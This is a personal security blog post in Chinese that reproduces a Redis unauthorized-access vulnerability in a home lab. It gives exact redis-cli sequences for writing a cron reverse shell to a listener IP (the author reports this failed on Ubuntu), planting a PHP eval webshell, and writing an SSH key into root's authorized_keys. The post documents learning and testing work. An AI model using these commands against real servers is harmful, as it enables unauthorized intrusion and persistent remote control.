C1imber's Blog

记一次失败漏洞利用的经历--ubuntu下的redis未授权访问漏洞复现

字数统计: 2.2k阅读时长: 8 min
2018/08/19 Share

记一次失败漏洞利用的经历–ubuntu下的redis未授权访问漏洞复现

由于redis的配置不当导致攻击者可以利用该未授权访问漏洞去对服务器进行攻击,redis服务默认端口为6379端口,在利用该漏洞的时候,由于服务器是ubuntu的原因,遇到了不少坑导致最终并没有利用成功,不像之前在centos环境下利用该漏洞时那样顺利,所以在这里记录一下。在理解这篇文章之前,可以先参考一下之前的解决ubuntu任务计划写shell失败的问题关于ubuntu和centos cron的一些区别这两篇文章

漏洞环境及搭建

ubuntu16.04(192.168.0.107):安装了redis服务的靶机,作为redis-server

kali2.0(192.168.0.101):攻击者机器,同样安装了redis,要使用redis-cli对未授权访问漏洞进行利用

该实验中redis的版本为4.0.8,安装redis方法如下

1
2
3
4
5
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar –xvf redis-4.0.8.tar.gz
cd redis-4.0.8
make
make install(加入到用户环境变量/usr/local/bin)

ubuntu安装完redis后,还需要修改redis配置文件redis.conf里面的几个地方

1.bind 127.0.0.1前面需要加上注释符,保证远程ip可以访问redis数据库
2.protected-mode要修改为no,否则远程连接数据库的ip执行不了数据库语句

mark
mark

尝试利用linux任务计划文件去反弹shell

首先在ubuntu上开启redis服务

1
2
cd redis-4.0.8
./src/redis-server redis.conf

mark

由于redis的默认配置会直接导致未授权访问,所以在kali上使用redis-cli去访问ubuntu靶机上的redis服务,这里看到可以直接进入redis的交互式shell

1
2
cd redis-4.0.8
./src/redis-cli -h 192.168.0.107 -p 6379

mark
现在尝试结合linux任务计划文件去反弹一个shell到自己的kali上面。

首先简单来说一下linux中的任务计划文件,简单来说,任务计划指的就是使系统定时的去执行一些我们设置的任务,来看一下该文件的格式

1
cat /etc/crontab

mark

里面的参数和一些符号含义如下

m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)
user:指的是执行命令的用户
command: 需要执行的命令
星号(*)表示参数所有可用的值,如果为5个*,就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务

ubuntu下可以利用的cron有以下几个地方

/etc/crontab:该文件里面的任务计划可以直接执行
/etc/cron.d/*:该目录下的任意文件都可以被当作任务计划去执行,并且避免了原先任务计划文件被覆盖的情况
/var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,不过需要有一个前提,就是该任务计划文件的权限必须为600

知道了以上的知识,可以通过redis未授权访问漏洞向ubuntu的/etc/cron.d目录下写任务计划文件去反弹shell,首先在kali上监听端口等待连接,我的思路是这样的,首先向/etc/cron.d下写一个任务计划文件step1,文件内容为* * * * * root ln -s -f bash /bin/sh,首先将ubuntu的cron的shell环境由dash改为bash,这样才可以使用交互式命令,之后再在/etc/cron.d目录下创建一个任务计划文件step2,内容为* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1,也就是使用交互式的bash去反弹shell到kali

1
nc -nvlp 7777

mark
接下来在redis-cli命令行输入

1
2
3
4
5
6
7
8
set aaa "\n\n\n\n* * * * * root ln -s -f bash /bin/sh\n\n\n\n"
config set dir /etc/cron.d
config set dbfilename step1
save
set bbb "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.101/7777 0>&1\n\n\n\n"
config set dir /etc/cron.d
config set dbfilename step2
save

mark

这里有一个需要注意的地方就是在设置变量的时候,也就是设置任务计划文件里的内容时,\n这个符号前后分别不能小于2个,否则文件内容里面的任务计划会出现乱码导致命令执行失败,这是其中一个坑,可以看到/etc/cron.d目录下分别成功创建了一个名为step1和step2的任务计划文件

文件内容分别为
mark

但是shell还是反弹失败了,/bin/sh的指向也没有修改成功,通过查看日志可以看到这一次的错误原因是ERROR (Syntax error, this crontab file will be ignored)

mark
mark
mark

这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据

对于这一次失败的总结和看法

对于ubuntu环境下的redis未授权访问漏洞写任务计划反弹shell的利用,自己遇到了很多坑,自己都一一排查解决了,结果最终还是在乱码这个问题上失败了,也可以看出确实ubuntu在某些方面设计的还是要比centos安全的,虽然这次漏洞利用失败了,但是自己也学到了不少,对centos和ubuntu这两个系统的cron的区别以及一些其它的安全机制有了更深的认识,所以,虽然失败,但是这一切都是值得的

补充

既然在ubuntu下写任务计划反弹shell这种方法不可行是因为ubuntu cron的原因,那么还是可以尝试其它的一些方式去利用该redis未授权访问漏洞的,比如利用redis写webshell或者向服务器写入ssh公钥去远程登陆,下面来说一下ubuntu环境下的redis未授权访问漏洞的另外两种利用手法

利用redis未授权访问写webshell

通过redis未授权访问漏洞向ubuntu的web跟目录下写入一个webshell,然后要知道网站的根目录,在该测试环境下网站的根目录为/var/www/html,在kali的redis-cli的交互式shell下执行

1
2
3
4
set aaa "\n\n\<?php @eval($_POST['c1imber']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save

mark
执行成功后可以看到在ubuntu的网站跟目录下成功写入了一个webshell,如果想让php解析,需要安装libapache2-mod-php这个扩展

sudo apt-get install libapache2-mod-php

mark
mark

mark

利用redis未授权访问向远程服务器写入ssh公钥

ubuntu想要ssh远程登陆,首先需要安装openssh-server

1
apt-get install openssh-server

mark
然后需要ubuntu开放22端口允许ssh远程登陆并且开启密钥登陆,这里要修改ubuntu的openssh-server的配置文件/etc/ssh/sshd_config里的几个地方
mark

其中RhostsRSAAuthentication yes代表允许远程RSA认证登陆,也就是密钥登陆,AuthorizedKeysFile %h/.ssh/authorized_keys代表服务器公钥的存放位置,也是要利用redis未授权访问漏洞写入公钥文件的位置

修改完成后重启ssh服务

1
service ssh restart

之后在ubuntu的root目录下新建一个名为.ssh的目录

1
2
cd /root
mkdir .ssh

mark

接下来使用kali在本地生成一对密钥

1
ssh-keygen -t rsa

mark
mark
之后将公钥id_rsa.pub写入到一个文件内

1
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt

mark
之后利用redis未授权访问漏洞将公钥写到centos的/root/.ssh/id_rsa文件中,首先

1
cat /root/.ssh/key.txt | ./src/redis-cli -h 192.168.0.107 -x set aaa

将刚刚生成的公钥设置给redis里的变量aaa
mark
接下来在kali的redis-cli的交互式shell下执行

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

mark

执行完毕后会在ubuntu服务器的/root/.ssh目录下生成一个authorized_keys的公钥文件,利用这个公钥文件就可以远程连接这台ubuntu了
mark

ssh远程连接

1
ssh 192.168.0.107

mark

CATALOG
  1. 1. 记一次失败漏洞利用的经历–ubuntu下的redis未授权访问漏洞复现
    1. 1.0.1. 漏洞环境及搭建
    2. 1.0.2. 尝试利用linux任务计划文件去反弹shell
    3. 1.0.3. 对于这一次失败的总结和看法
  • 2. 补充
    1. 2.0.1. 利用redis未授权访问写webshell
    2. 2.0.2. 利用redis未授权访问向远程服务器写入ssh公钥